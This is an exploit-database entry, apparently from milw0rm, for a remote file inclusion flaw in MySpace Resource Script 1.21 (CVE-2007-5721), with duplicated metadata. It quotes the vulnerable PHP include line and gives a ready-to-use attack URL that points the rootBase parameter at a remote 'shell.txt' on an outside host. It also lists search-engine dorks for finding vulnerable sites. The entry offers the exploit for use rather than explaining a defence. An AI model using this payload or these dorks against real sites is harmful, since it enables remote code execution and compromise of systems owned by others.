MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion
| EKU-ID: 12540 | CVE: OSVDB-38838;CVE-2007-5721 | OSVDB-ID: |
| Author: r00t@zapak.com | Published: 2007-10-29 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 12540 | CVE: OSVDB-38838;CVE-2007-5721 | OSVDB-ID: |
| Author: r00t@zapak.com | Published: 2007-10-29 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /_theme/breadcrumb.php Line No. 3 <?php include($rootBase . '/_inc/breadcrumb.php'); ?> Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/Layout_Generator "!new Female Celebrities" inurl:/Generators/Scrollbar_Colors # milw0rm.com [2007-10-29]